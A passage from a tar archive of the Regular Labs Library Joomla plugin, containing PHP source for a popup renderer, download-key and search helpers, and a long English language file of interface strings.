		$file   = JFactory::getApplication()->input->getString('file', '');
		$folder = JFactory::getApplication()->input->getString('folder', '');

		if ($folder)
		{
			$file = implode('/', explode('.', $folder)) . '/' . $file;
		}

		if ( ! $file || in_array($file, $allowed) === false)
		{
			die;
		}

		jimport('joomla.filesystem.file');

		if (RL_Document::isClient('site'))
		{
			JFactory::getApplication()->setTemplate('../administrator/templates/isis');
		}

		$_REQUEST['tmpl'] = 'component';
		JFactory::getApplication()->input->set('option', 'com_content');

		switch (JFactory::getApplication()->input->getCmd('format', 'html'))
		{
			case 'json' :
				$format = 'application/json';
				break;

			default:
			case 'html' :
				$format = 'text/html';
				break;
		}

		header('Content-Type: ' . $format . '; charset=utf-8');
		JHtml::_('bootstrap.framework');
		JFactory::getDocument()->addScript(JUri::root(true) . '/administrator/templates/isis/js/template.js');
		JFactory::getDocument()->addStylesheet(JUri::root(true) . '/administrator/templates/isis/css/template.css');

		RL_Document::style('regularlabs/popup.min.css');

		$file = JPATH_SITE . '/' . $file;

		$html = '';
		if (is_file($file))
		{
			ob_start();
			include $file;
			$html = ob_get_contents();
			ob_end_clean();
		}

		RL_Document::setBuffer($html);

		$app = new Application;
		$app->render();

		$html = JFactory::getApplication()->getBody();

		$html = RL_RegEx::replace('\s*<link [^>]*href="[^"]*templates/system/[^"]*\.css[^"]*"[^>]*( /)?>', '', $html);
		$html = RL_RegEx::replace('(<body [^>]*class=")', '\1reglab-popup ', $html);
		$html = str_replace('<body>', '<body class="reglab-popup"', $html);

		echo $html;

		die;
	}
}

                                                                  system/regularlabs/src/DownloadKey.php                                                              0000705                 00000002612 15242051521 0014107 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package         Regular Labs Library
 * @version         19.8.23191
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2019 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

namespace RegularLabs\Plugin\System\RegularLabs;

defined('_JEXEC') or die;

use Joomla\CMS\Factory as JFactory;
use RegularLabs\Library\Document as RL_Document;

class DownloadKey
{
	public static function update()
	{
		// Save the download key from the Regular Labs Extension Manager config to the update sites
		if (
			RL_Document::isClient('site')
			|| JFactory::getApplication()->input->get('option') != 'com_config'
			|| JFactory::getApplication()->input->get('task') != 'config.save.component.apply'
			|| JFactory::getApplication()->input->get('component') != 'com_regularlabsmanager'
		)
		{
			return;
		}

		$form = JFactory::getApplication()->input->post->get('jform', [], 'array');

		if ( ! isset($form['key']))
		{
			return;
		}

		$key = $form['key'];

		$db = JFactory::getDbo();

		$query = $db->getQuery(true)
			->update('#__update_sites')
			->set($db->quoteName('extra_query') . ' = ' . $db->quote('k=' . $key))
			->where($db->quoteName('location') . ' LIKE ' . $db->quote('%download.regularlabs.com%'));
		$db->setQuery($query);
		$db->execute();
	}
}
                                                                                                                      system/regularlabs/src/SearchHelper.php                                                             0000705                 00000001665 15242051521 0014243 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package         Regular Labs Library
 * @version         19.8.23191
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2019 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

namespace RegularLabs\Plugin\System\RegularLabs;

defined('_JEXEC') or die;

use Joomla\CMS\Factory as JFactory;
use RegularLabs\Library\Document as RL_Document;

class SearchHelper
{
	public static function load()
	{
		// Only in frontend search component view
		if ( ! RL_Document::isClient('site') || JFactory::getApplication()->input->get('option') != 'com_search')
		{
			return;
		}

		$classes = get_declared_classes();

		if (in_array('SearchModelSearch', $classes) || in_array('searchmodelsearch', $classes))
		{
			return;
		}

		require_once JPATH_LIBRARIES . '/regularlabs/helpers/search.php';
	}
}
                                                                           system/regularlabs/language/en-GB/en-GB.plg_system_regularlabs.ini                                  0000705                 00000074100 15242051521 0021204 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ;; @package         Regular Labs Library
;; @version         19.8.23191
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2019 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See: https://www.regularlabs.com/translate

PLG_SYSTEM_REGULARLABS="System - Regular Labs Library"
PLG_SYSTEM_REGULARLABS_DESC="Regular Labs Library - used by Regular Labs extensions"
REGULAR_LABS_LIBRARY="Regular Labs Library"

REGULAR_LABS_LIBRARY_DESC="[[%1:warning%]]The Regular Labs extensions need this plugin and will not function without it.<br><br>Regular Labs extensions include:[[%2:extensions%]]"
REGULAR_LABS_LIBRARY_DESC_WARNING="Do not uninstall or disable this plugin if you are using any Regular Labs extensions."

COM_CONFIG_RL_ACTIONLOG_FIELDSET_LABEL="User Actions Log"
COM_CONFIG_RL_TAG_SYNTAX_FIELDSET_LABEL="Tag Syntax"
COM_MODULES_DESCRIPTION_FIELDSET_LABEL="Description"
COM_PLUGINS_DESCRIPTION_FIELDSET_LABEL="Description"
COM_PLUGINS_RL_BEHAVIOUR_FIELDSET_LABEL="Behaviour"
COM_PLUGINS_RL_DEFAULT_SETTINGS_FIELDSET_LABEL="Default Settings"
COM_PLUGINS_RL_MEDIA_FIELDSET_LABEL="Media"
COM_PLUGINS_RL_SETTINGS_ADMIN_MODULE_FIELDSET_LABEL="Administrator Module Options"
COM_PLUGINS_RL_SETTINGS_EDITOR_BUTTON_FIELDSET_LABEL="Editor Button Options"
COM_PLUGINS_RL_SETTINGS_SECURITY_FIELDSET_LABEL="Security Options"
COM_PLUGINS_RL_SETUP_FIELDSET_LABEL="Setup"
COM_PLUGINS_RL_STYLING_FIELDSET_LABEL="Styling"
COM_PLUGINS_RL_TAG_SYNTAX_FIELDSET_LABEL="Tag Syntax"

RL_ACCESS_LEVELS="Access Levels"
RL_ACCESS_LEVELS_DESC="Select the access levels to assign to."
RL_ACTION_CHANGE_DEFAULT="Change Default"
RL_ACTION_CHANGE_STATE="Change Publish State"
RL_ACTION_CREATE="Create"
RL_ACTION_DELETE="Delete"
RL_ACTION_INSTALL="Install"
RL_ACTION_UNINSTALL="Uninstall"
RL_ACTION_UPDATE="Update"
RL_ACTIONLOG_EVENTS="Events To Log"
RL_ACTIONLOG_EVENTS_DESC="Select the actions to include in the User Actions Log."
RL_ADMIN="Admin"
RL_ADVANCED="Advanced"
RL_AFTER="After"
RL_AFTER_NOW="After NOW"
RL_AKEEBASUBS="Akeeba Subscriptions"
RL_ALL="ALL"
RL_ALL_DESC="Will be published if <strong>ALL</strong> of below assignments are matched."
RL_ALL_RIGHTS_RESERVED="All Rights Reserved"
RL_ALSO_ON_CHILD_ITEMS="Also on child items"
RL_ALSO_ON_CHILD_ITEMS_DESC="Also assign to child items of the selected items?"
RL_ALSO_ON_CHILD_ITEMS_MENUITEMS_DESC="The child items refer to actual sub-items in the above selection. They do not refer to links on selected pages."
RL_ANY="ANY"
RL_ANY_DESC="Will be published if <strong>ANY</strong> (one or more) of below assignments are matched.<br>Assignment groups where 'Ignore' is selected will be ignored."
RL_ARE_YOU_SURE="Are you sure?"
RL_ARTICLE="Article"
RL_ARTICLE_AUTHORS="Authors"
RL_ARTICLE_AUTHORS_DESC="Select the authors to assign to."
RL_ARTICLES="Articles"
RL_ARTICLES_DESC="Select the articles to assign to."
RL_AS_EXPORTED="As exported"
RL_ASSIGNMENTS="Assignments"
RL_ASSIGNMENTS_DESC="By selecting the specific assignments you can limit where this %s should or shouldn't be published.<br>To have it published on all pages, simply do not specify any assignments."
RL_AUSTRALIA="Australia"
RL_AUTHORS="Authors"
RL_AUTO="Auto"
RL_BEFORE="Before"
RL_BEFORE_NOW="Before NOW"
RL_BEHAVIOR="Behaviour"
RL_BEHAVIOUR="Behaviour"
RL_BETWEEN="Between"
RL_BOOTSTRAP="Bootstrap"
RL_BOOTSTRAP_FRAMEWORK_DISABLED="You have disabled the Bootstrap Framework to be initiated. %s needs the Bootstrap Framework to function. Make sure your template or other extensions load the necessary scripts to replace the required functionality."
RL_BOTH="Both"
RL_BOTTOM="Bottom"
RL_BROWSERS="Browsers"
RL_BROWSERS_DESC="Select the browsers to assign to. Keep in mind that browser detection is not always 100&#37; accurate. Users can setup their browser to mimic other browsers"
RL_BUTTON_ICON="Button Icon"
RL_BUTTON_ICON_DESC="Select which icon to show in the button."
RL_BUTTON_TEXT="Button Text"
RL_BUTTON_TEXT_DESC="This text will be shown in the Editor Button."
RL_CACHE_TIME="Cache Time"
RL_CACHE_TIME_DESC="The maximum length of time in minutes for a cache file to be stored before it is refreshed. Leave empty to use the global setting."
RL_CATEGORIES="Categories"
RL_CATEGORIES_DESC="Select the categories to assign to."
RL_CHANGELOG="Changelog"
RL_CLASSNAME="CSS Class"
RL_COLLAPSE="Collapse"
RL_COM="Component"
RL_COMBINE_ADMIN_MENU="Combine Admin Menu"
RL_COMBINE_ADMIN_MENU_DESC="Select to combine all Regular Labs - components into a submenu in the administrator menu."
RL_COMPONENTS="Components"
RL_COMPONENTS_DESC="Select the components to assign to."
RL_CONTENT="Content"
RL_CONTENT_KEYWORDS="Content Keywords"
RL_CONTENT_KEYWORDS_DESC="Enter the keywords found in the content to assign to. Use commas to separate the keywords."
RL_CONTINENTS="Continents"
RL_CONTINENTS_DESC="Select the continents to assign to."
RL_COOKIECONFIRM="Cookie Confirm"
RL_COOKIECONFIRM_COOKIES="Cookies allowed"
RL_COOKIECONFIRM_COOKIES_DESC="Assign to whether cookies are allowed or disallowed, based on the configuration of Cookie Confirm (by Twentronix) and the visitor's choice to accept or decline cookies."
RL_COPY_OF="Copy of %s"
RL_COPYRIGHT="Copyright"
RL_COUNTRIES="Countries"
RL_COUNTRIES_DESC="Select the countries to assign to."
RL_CSS_CLASS="Class (CSS)"
RL_CSS_CLASS_DESC="Define a css class name for styling purposes."
RL_CURRENT="Current"
RL_CURRENT_DATE="Current date/time: <strong>%s</strong>"
RL_CURRENT_USER="Current User"
RL_CURRENT_VERSION="Your current version is %s"
RL_CUSTOM="Custom"
RL_CUSTOM_CODE="Custom Code"
RL_CUSTOM_CODE_DESC="Enter the code the Editor Button should insert into the content (instead of the default code)."
RL_CUSTOM_FIELD="Custom Field"
RL_CUSTOM_FIELDS="Custom Fields"
RL_DATE="Date"
RL_DATE_DESC="Select the type of date comparison to assign by."
RL_DATE_FROM="From"
RL_DATE_RECURRING="Recurring"
RL_DATE_RECURRING_DESC="Select to apply date range every year. (So the year in the selection will be ignored)"
RL_DATE_TIME="Date & Time"
RL_DATE_TIME_DESC="The date and time assignments use the date/time of your servers, not that of the visitors system."
RL_DATE_TO="To"
RL_DAYS="Days of the week"
RL_DAYS_DESC="Select days of the week to assign to."
RL_DEFAULT_ORDERING="Default Ordering"
RL_DEFAULT_ORDERING_DESC="Set the default ordering of the list items"
RL_DEFAULT_SETTINGS="Default Settings"
RL_DEFAULTS="Defaults"
RL_DEVICE_DESKTOP="Desktop"
RL_DEVICE_MOBILE="Mobile"
RL_DEVICE_TABLET="Tablet"
RL_DEVICES="Devices"
RL_DEVICES_DESC="Select the devices to assign to. Keep in mind that device detection is not always 100&#37; accurate. Users can setup their device to mimic other devices"
RL_DIRECTION="Direction"
RL_DIRECTION_DESC="Select the direction"
RL_DISABLE_ON_ADMIN_COMPONENTS_DESC="Select in which administrator components NOT to enable the use of this extension."
RL_DISABLE_ON_ALL_COMPONENTS_DESC="Select in which components NOT to enable the use of this extension."
RL_DISABLE_ON_COMPONENTS="Disable on Components"
RL_DISABLE_ON_COMPONENTS_DESC="Select in which frontend components NOT to enable the use of this extension."
RL_DISPLAY_EDITOR_BUTTON="Display Editor Button"
RL_DISPLAY_EDITOR_BUTTON_DESC="Select to display an editor button."
RL_DISPLAY_LINK="Display link"
RL_DISPLAY_LINK_DESC="How do you want the link to be displayed?"
RL_DISPLAY_TOOLBAR_BUTTON="Display Toolbar Button"
RL_DISPLAY_TOOLBAR_BUTTON_DESC="Select to show a button in the toolbar."
RL_DISPLAY_TOOLBAR_BUTTONS="Display Toolbar Buttons"
RL_DISPLAY_TOOLBAR_BUTTONS_DESC="Select to show button(s) in the toolbar."
RL_DISPLAY_TOOLTIP="Display Tooltip"
RL_DISPLAY_TOOLTIP_DESC="Select to display a tooltip with extra info when mouse hovers over link/icon."
RL_DYNAMIC_TAG_ARTICLE_ID="The id number of the current article."
RL_DYNAMIC_TAG_ARTICLE_OTHER="Any other available data from the current article."
RL_DYNAMIC_TAG_ARTICLE_TITLE="The title of the current article."
RL_DYNAMIC_TAG_COUNTER="This places the number of the occurrence.<br>If your search is found, say, 4 times, the count will show respectively 1 to 4."
RL_DYNAMIC_TAG_DATE="Date using %1$sphp strftime() format%2$s. Example: %3$s"
RL_DYNAMIC_TAG_ESCAPE="Use to escape dynamic values (add slashes to quotes)."
RL_DYNAMIC_TAG_LOWERCASE="Convert text within tags to lowercase."
RL_DYNAMIC_TAG_RANDOM="A random number within the given range"
RL_DYNAMIC_TAG_TEXT="A language string to translate into text (based on the active language)"
RL_DYNAMIC_TAG_UPPERCASE="Convert text within tags to uppercase."
RL_DYNAMIC_TAG_USER_ID="The id number of the user"
RL_DYNAMIC_TAG_USER_NAME="The name of the user"
RL_DYNAMIC_TAG_USER_OTHER="Any other available data from the user or the connected contact. Example: [[user:misc]]"
RL_DYNAMIC_TAG_USER_TAG_DESC="The user tag places data from the logged in user. If the visitor is not logged in, the tag will be removed."
RL_DYNAMIC_TAG_USER_USERNAME="The login name of the user"
RL_DYNAMIC_TAGS="Dynamic Tags"
RL_EASYBLOG="EasyBlog"
RL_ENABLE="Enable"
RL_ENABLE_ACTIONLOG="Log User Actions"
RL_ENABLE_ACTIONLOG_DESC="Select to store User Actions. These actions will be visible in the User Actions Log module."
RL_ENABLE_IN="Enable in"
RL_ENABLE_IN_ADMIN="Enable in administrator"
RL_ENABLE_IN_ADMIN_DESC="If enabled, the plugin will also work in the administrator side of the website.<br><br>Normally you will not need this. And it can cause unwanted effects, like slowing down the administrator and the plugin tags being handled in areas you don't want it."
RL_ENABLE_IN_ARTICLES="Enable in articles"
RL_ENABLE_IN_COMPONENTS="Enable in components"
RL_ENABLE_IN_DESC="Select whether to enable in the frontend or administrator side or both."
RL_ENABLE_IN_FRONTEND="Enable in frontend"
RL_ENABLE_IN_FRONTEND_DESC="If enabled, it will also be available in the frontend."
RL_ENABLE_OTHER_AREAS="Enable other areas"
RL_EXCLUDE="Exclude"
RL_EXPAND="Expand"
RL_EXPORT="Export"
RL_EXPORT_FORMAT="Export Format"
RL_EXPORT_FORMAT_DESC="Select the file format for the export files."
RL_EXTRA_PARAMETERS="Extra Parameters"
RL_EXTRA_PARAMETERS_DESC="Enter any extra parameters that cannot be set with the available settings"
RL_FALL="Fall / Autumn"
RL_FEATURED_DESC="Select to use the feature state in the assignment."
RL_FEATURES="Features"
RL_FIELD="Field"
RL_FIELD_NAME="Field Name"
RL_FIELD_PARAM_MULTIPLE="Multiple"
RL_FIELD_PARAM_MULTIPLE_DESC="Allow multiple values to be selected."
RL_FIELD_VALUE="Field Value"
RL_FILES_NOT_FOUND="Required %s files not found!"
RL_FILTERS="Filters"
RL_FINISH_PUBLISHING="Finish Publishing"
RL_FINISH_PUBLISHING_DESC="Enter the date to end publishing"
RL_FIX_HTML="Fix HTML"
RL_FIX_HTML_DESC="Select to let the extension fix any html structure issues it finds. This is often necessary to deal with surrounding html tags.<br><br>Only switch this off if you have issues with this."
RL_FLEXICONTENT="FLEXIcontent"
RL_FOR_MORE_GO_PRO="For more functionality you can purchase the PRO version."
RL_FORM2CONTENT="Form2Content"
RL_FRAMEWORK_NO_LONGER_USED="The Old NoNumber Framework does not seem to be used by any other extensions you have installed. It is probably safe to disable or uninstall this plugin."
RL_FRONTEND="Frontend"
RL_GALLERY="Gallery"
RL_GEO="Geolocating"
RL_GEO_DESC="Geolocating is not always 100&#37; accurate. The geolocation is based on the IP address of the visitor. Not all IP addresses are fixed or known."
RL_GEO_GEOIP_COPYRIGHT_DESC="This product includes GeoLite2 data created by MaxMind, available from [[%1:link%]]"
RL_GEO_NO_GEOIP_LIBRARY="The Regular Labs GeoIP library is not installed. You need to [[%1:link start%]]install the Regular Labs GeoIP library[[%2:link end%]] to be able to use the Geolocating assignments."
RL_GO_PRO="Go Pro!"
RL_HEADING_1="Heading 1"
RL_HEADING_2="Heading 2"
RL_HEADING_3="Heading 3"
RL_HEADING_4="Heading 4"
RL_HEADING_5="Heading 5"
RL_HEADING_6="Heading 6"
RL_HEADING_ACCESS_ASC="Access ascending"
RL_HEADING_ACCESS_DESC="Access descending"
RL_HEADING_CATEGORY_ASC="Category ascending"
RL_HEADING_CATEGORY_DESC="Category descending"
RL_HEADING_CLIENTID_ASC="Location ascending"
RL_HEADING_CLIENTID_DESC="Location descending"
RL_HEADING_COLOR_ASC="Colour ascending"
RL_HEADING_COLOR_DESC="Colour descending"
RL_HEADING_DEFAULT_ASC="Default ascending"
RL_HEADING_DEFAULT_DESC="Default descending"
RL_HEADING_DESCRIPTION_ASC="Description ascending"
RL_HEADING_DESCRIPTION_DESC="Description descending"
RL_HEADING_ID_ASC="ID ascending"
RL_HEADING_ID_DESC="ID descending"
RL_HEADING_LANGUAGE_ASC="Language ascending"
RL_HEADING_LANGUAGE_DESC="Language descending"
RL_HEADING_ORDERING_ASC="Ordering ascending"
RL_HEADING_ORDERING_DESC="Ordering descending"
RL_HEADING_PAGES_ASC="Menu Items ascending"
RL_HEADING_PAGES_DESC="Menu Items descending"
RL_HEADING_POSITION_ASC="Position ascending"
RL_HEADING_POSITION_DESC="Position descending"
RL_HEADING_STATUS_ASC="Status ascending"
RL_HEADING_STATUS_DESC="Status descending"
RL_HEADING_STYLE_ASC="Style ascending"
RL_HEADING_STYLE_DESC="Style descending"
RL_HEADING_TEMPLATE_ASC="Template ascending"
RL_HEADING_TEMPLATE_DESC="Template descending"
RL_HEADING_TITLE_ASC="Title ascending"
RL_HEADING_TITLE_DESC="Title descending"
RL_HEADING_TYPE_ASC="Type ascending"
RL_HEADING_TYPE_DESC="Type descending"
RL_HEIGHT="Height"
RL_HEMISPHERE="Hemisphere"
RL_HEMISPHERE_DESC="Select the hemisphere your website is located in"
RL_HIGH="High"
RL_HIKASHOP="HikaShop"
RL_HOME_PAGE="Home Page"
RL_HOME_PAGE_DESC="Unlike selecting the home page (default) item via the Menu Items, this will only match the real home page, not any URL that has the same Itemid as the home menu item.<br><br>This might not work for all 3rd party SEF extensions."
RL_HTML_LINK="<a href=&quot;[[%2:url%]]&quot; target=&quot;_blank&quot; class=&quot;[[%3:class%]]&quot;>[[%1:text%]]</a>"
RL_HTML_TAGS="HTML Tags"
RL_ICON_ONLY="Icon only"
RL_IGNORE="Ignore"
RL_IMAGE="Image"
RL_IMAGE_ALT="Image Alt"
RL_IMAGE_ALT_DESC="The Alt value of the image."
RL_IMAGE_ATTRIBUTES="Image Attributes"
RL_IMAGE_ATTRIBUTES_DESC="The extra attributes of the image, like: alt=&quot;My image&quot; width=&quot;300&quot;"
RL_IMPORT="Import"
RL_IMPORT_ITEMS="Import Items"
RL_INCLUDE="Include"
RL_INCLUDE_CHILD_ITEMS="Include child items"
RL_INCLUDE_CHILD_ITEMS_DESC="Also include child items of the selected items?"
RL_INCLUDE_NO_ITEMID="Include no Itemid"
RL_INCLUDE_NO_ITEMID_DESC="Also assign when no menu Itemid is set in URL?"
RL_INITIALISE_EVENT="Initialise on Event"
RL_INITIALISE_EVENT_DESC="Set the internal Joomla event on which the plugin should be initialised. Only change this if you experience issues with the plugin not working."
RL_INPUT_TYPE="Input Type"
RL_INPUT_TYPE_ALNUM="A string containing A-Z or 0-9 only (not case sensitive)."
RL_INPUT_TYPE_ARRAY="An array."
RL_INPUT_TYPE_BOOLEAN="A boolean value."
RL_INPUT_TYPE_CMD="A string containing A-Z, 0-9, underscores, periods or hyphens (not case sensitive)."
RL_INPUT_TYPE_DESC="Select an input type:"
RL_INPUT_TYPE_FLOAT="A floating point number, or an array of floating point numbers."
RL_INPUT_TYPE_INT="An integer, or an array of integers."
RL_INPUT_TYPE_STRING="A fully decoded and sanitised string (default)."
RL_INPUT_TYPE_UINT="An unsigned integer, or an array of unsigned integers."
RL_INPUT_TYPE_WORD="A string containing A-Z or underscores only (not case sensitive)."
RL_INSERT="Insert"
RL_INSERT_DATE_NAME="Insert Date / Name"
RL_IP_RANGES="IP Addresses / Ranges"
RL_IP_RANGES_DESC="A comma and/or enter separated list of IP addresses and IP ranges. For instance:<br>127.0.0.1<br>128.0-128.1<br>129"
RL_IPS="IP Addresses"
RL_IS_FREE_VERSION="This is the FREE version of %s."
RL_ITEM="Item"
RL_ITEM_IDS="Item IDs"
RL_ITEM_IDS_DESC="Enter the item ids to assign to. Use commas to separate the ids."
RL_ITEMS="Items"
RL_ITEMS_DESC="Select the items to assign to."
RL_JCONTENT="Joomla! Content"
RL_JED_REVIEW="Like this extension? [[%1:start link%]]Leave a review at the JED[[%2:end link%]]"
RL_JOOMLA2_VERSION_ON_JOOMLA3="You are running a Joomla 2.5 version of %1$s on Joomla 3. Please reinstall %1$s to fix the problem."
RL_JQUERY_DISABLED="You have disabled the jQuery script. %s needs jQuery to function. Make sure your template or other extensions load the necessary scripts to replace the required functionality."
RL_K2="K2"
RL_K2_CATEGORIES="K2 Categories"
RL_LANGUAGE="Language"
RL_LANGUAGE_DESC="Select the language to assign to."
RL_LANGUAGES="Languages"
RL_LANGUAGES_DESC="Select the languages to assign to."
RL_LAYOUT="Layout"
RL_LAYOUT_DESC="Select the layout to use. You can override this layout in the component or template."
RL_LEVELS="Levels"
RL_LEVELS_DESC="Select the levels to assign to."
RL_LIB="Library"
RL_LINK_TEXT="Link Text"
RL_LINK_TEXT_DESC="The text to display as link."
RL_LIST="List"
RL_LOAD_BOOTSTRAP_FRAMEWORK="Load Bootstrap Framework"
RL_LOAD_BOOTSTRAP_FRAMEWORK_DESC="Disable to not initiate the Bootstrap Framework."
RL_LOAD_JQUERY="Load jQuery Script"
RL_LOAD_JQUERY_DESC="Select to load the core jQuery script. You can disable this if you experience conflicts if your template or other extensions load their own version of jQuery."
RL_LOAD_MOOTOOLS="Load Core MooTools"
RL_LOAD_MOOTOOLS_DESC="Select to load the core MooTools script. You can disable this if you experience conflicts if your template or other extensions load their own version of MooTools."
RL_LOAD_STYLESHEET="Load Stylesheet"
RL_LOAD_STYLESHEET_DESC="Select to load the extensions stylesheet. You can disable this if you place all your own styles in some other stylesheet, like the templates stylesheet."
RL_LOW="Low"
RL_LTR="Left-to-Right"
RL_MATCH_ALL="Match All"
RL_MATCH_ALL_DESC="Select to only let the assignment pass if all of the selected items are matched."
RL_MATCHING_METHOD="Matching Method"
RL_MATCHING_METHOD_DESC="Should all or any assignments be matched?<br><br><strong>[[%1:all%]]</strong><br>[[%2:all description%]]<br><br><strong>[[%3:any%]]</strong><br>[[%4:any description%]]"
RL_MAX_LIST_COUNT="Maximum List Count"
RL_MAX_LIST_COUNT_DESC="The maximum number of elements to show in the multi-select lists. If the total number of items is higher, the selection field will be displayed as a text field.<br><br>You can set this number lower if you experience long pageloads due to high number of items in lists."
RL_MAX_LIST_COUNT_INCREASE="Increase Maximum List Count"
RL_MAX_LIST_COUNT_INCREASE_DESC="There are more than [[%1:max%]] items.<br><br>To prevent slow pages this field is displayed as a textarea instead of a dynamic select list.<br><br>You can increase the '[[%2:max setting%]]' in the Regular Labs Library plugin settings."
RL_MAXIMIZE="Maximize"
RL_MEDIA_VERSIONING="Use Media Versioning"
RL_MEDIA_VERSIONING_DESC="Select to add the extension version number to the end of media (js/css) urls, to make browsers force load the correct file."
RL_MEDIUM="Medium"
RL_MENU_ITEMS="Menu Items"
RL_MENU_ITEMS_DESC="Select the menu items to assign to."
RL_META_KEYWORDS="Meta Keywords"
RL_META_KEYWORDS_DESC="Enter the keywords found in the meta keywords to assign to. Use commas to separate the keywords."
RL_MIJOSHOP="MijoShop"
RL_MINIMIZE="Minimize"
RL_MOBILE_BROWSERS="Mobile Browsers"
RL_MOD="Module"
RL_MONTHS="Months"
RL_MONTHS_DESC="Select months to assign to."
RL_MORE_INFO="More info"
RL_MY_STRING="My string!"
RL_N_ITEMS_ARCHIVED="%s items archived."
RL_N_ITEMS_ARCHIVED_1="%s item archived."
RL_N_ITEMS_CHECKED_IN_0="No items checked in."
RL_N_ITEMS_CHECKED_IN_1="%d item checked in."
RL_N_ITEMS_CHECKED_IN_MORE="%d items checked in."
RL_N_ITEMS_DELETED="%s items deleted."
RL_N_ITEMS_DELETED_1="%s item deleted."
RL_N_ITEMS_FEATURED="%s items featured."
RL_N_ITEMS_FEATURED_1="%s item featured."
RL_N_ITEMS_PUBLISHED="%s items published."
RL_N_ITEMS_PUBLISHED_1="%s item published."
RL_N_ITEMS_TRASHED="%s items trashed."
RL_N_ITEMS_TRASHED_1="%s item trashed."
RL_N_ITEMS_UNFEATURED="%s items unfeatured."
RL_N_ITEMS_UNFEATURED_1="%s item unfeatured."
RL_N_ITEMS_UNPUBLISHED="%s items unpublished."
RL_N_ITEMS_UNPUBLISHED_1="%s item unpublished."
RL_N_ITEMS_UPDATED="%d items updated."
RL_N_ITEMS_UPDATED_1="One item has been updated"
RL_NEW_CATEGORY="Create New Category"
RL_NEW_CATEGORY_ENTER="Enter a new category name"
RL_NEW_VERSION_AVAILABLE="A new version is available"
RL_NEW_VERSION_OF_AVAILABLE="A new version of %s is available"
RL_NO_ICON="No icon"
RL_NO_ITEMS_FOUND="No items found."
RL_NORMAL="Normal"
RL_NORTHERN="Northern"
RL_NOT="Not"
RL_ONLY="Only"
RL_ONLY_AVAILABLE_IN_JOOMLA="Only available in Joomla %s or higher."
RL_ONLY_AVAILABLE_IN_PRO="<em>Only available in PRO version!</em>"
RL_ONLY_AVAILABLE_IN_PRO_LIST_OPTION="(Only available in PRO version)"
RL_ONLY_VISIBLE_TO_ADMIN="This message will only be displayed to (Super) Administrators."
RL_OPTION_SELECT="- Select -"
RL_OPTION_SELECT_CLIENT="- Select Client -"
RL_OS="Operating Systems"
RL_OS_DESC="Select the operating systems to assign to. Keep in mind that operating system detection is not always 100&#37; accurate. Users can setup their browser to mimic other operating systems."
RL_OTHER="Other"
RL_OTHER_AREAS="Other Areas"
RL_OTHER_OPTIONS="Other Options"
RL_OTHER_SETTINGS="Other Settings"
RL_OTHERS="Others"
RL_PAGE_TYPES="Page types"
RL_PAGE_TYPES_DESC="Select on what page types the assignment should be active."
RL_PHP="Custom PHP"
RL_PHP_DESC="Enter a piece of PHP code to evaluate. The code must return the value true or false.<br><br>For instance:<br><br>[[%1:code%]]"
RL_PLACE_HTML_COMMENTS="Place HTML comments"
RL_PLACE_HTML_COMMENTS_DESC="By default HTML comments are placed around the output of this extension.<br><br>These comments can help you troubleshoot when you don't get the output you expect.<br><br>If you prefer to not have these comments in your HTML output, turn this option off."
RL_PLG_ACTIONLOG="Action Log Plugin"
RL_PLG_EDITORS-XTD="Editor Button Plugin"
RL_PLG_FIELDS="Field Plugin"
RL_PLG_SYSTEM="System Plugin"
RL_POSTALCODES="Postal Codes"
RL_POSTALCODES_DESC="A comma separated list of postal codes (12345) or postal code ranges (12300-12500).<br>This can only be used for [[%1:start link%]]a limited number of countries and IP addresses[[%2:end link%]]."
RL_POWERED_BY="Powered by %s"
RL_PRODUCTS="Products"
RL_PUBLISHED_DESC="You can use this to (temporarily) disable this item."
RL_PUBLISHING_ASSIGNMENTS="Publishing Assignments"
RL_PUBLISHING_SETTINGS="Publish items"
RL_RANDOM="Random"
RL_REDSHOP="RedShop"
RL_REGIONS="Regions / States"
RL_REGIONS_DESC="Select the regions / states to assign to."
RL_REGULAR_EXPRESSIONS="Use Regular Expressions"
RL_REGULAR_EXPRESSIONS_DESC="Select to treat the value as regular expressions."
RL_REMOVE_IN_DISABLED_COMPONENTS="Remove in Disabled Components"
RL_REMOVE_IN_DISABLED_COMPONENTS_DESC="If selected, the plugin syntax will get removed from the component. If not, the original plugins syntax will remain intact."
RL_RESIZE_IMAGES="Resize Images"
RL_RESIZE_IMAGES_CROP="Crop"
RL_RESIZE_IMAGES_CROP_DESC="The resized image will always have the set width and height."
RL_RESIZE_IMAGES_DESC="If selected, resized images will be automatically created for images if they do not exist yet. The resized images will be created using below settings."
RL_RESIZE_IMAGES_FILETYPES="Only on Filetypes"
RL_RESIZE_IMAGES_FILETYPES_DESC="Select the filetypes to do resizing on."
RL_RESIZE_IMAGES_FOLDER="Folder"
RL_RESIZE_IMAGES_FOLDER_DESC="The folder containing the resized images. This will be a subfolder of the folder containing your original images."
RL_RESIZE_IMAGES_HEIGHT_DESC="Set the height of the resized image in pixels (ie 180)."
RL_RESIZE_IMAGES_NO_HEIGHT_DESC="The Height will be calculated based on the Width defined above and the aspect ratio of the original image."
RL_RESIZE_IMAGES_NO_WIDTH_DESC="The Width will be calculated based on the Height defined below and the aspect ratio of the original image."
RL_RESIZE_IMAGES_QUALITY="JPG Quality"
RL_RESIZE_IMAGES_QUALITY_DESC="The quality of the resized images. Choose from Low, Medium or High. The higher the quality, the larger the resulting files.<br>This only affects jpeg images."
RL_RESIZE_IMAGES_SCALE="Scale"
RL_RESIZE_IMAGES_SCALE_DESC="The resized image will be resized to the maximum width or height maintaining its aspect ratio."
RL_RESIZE_IMAGES_SCALE_USING="Scale using fixed..."
RL_RESIZE_IMAGES_SCALE_USING_DESC="Select whether to resize images using the maximum width or height. The other dimension will be calculated based on the aspect ratio of the original image."
RL_RESIZE_IMAGES_TYPE="Resize Method"
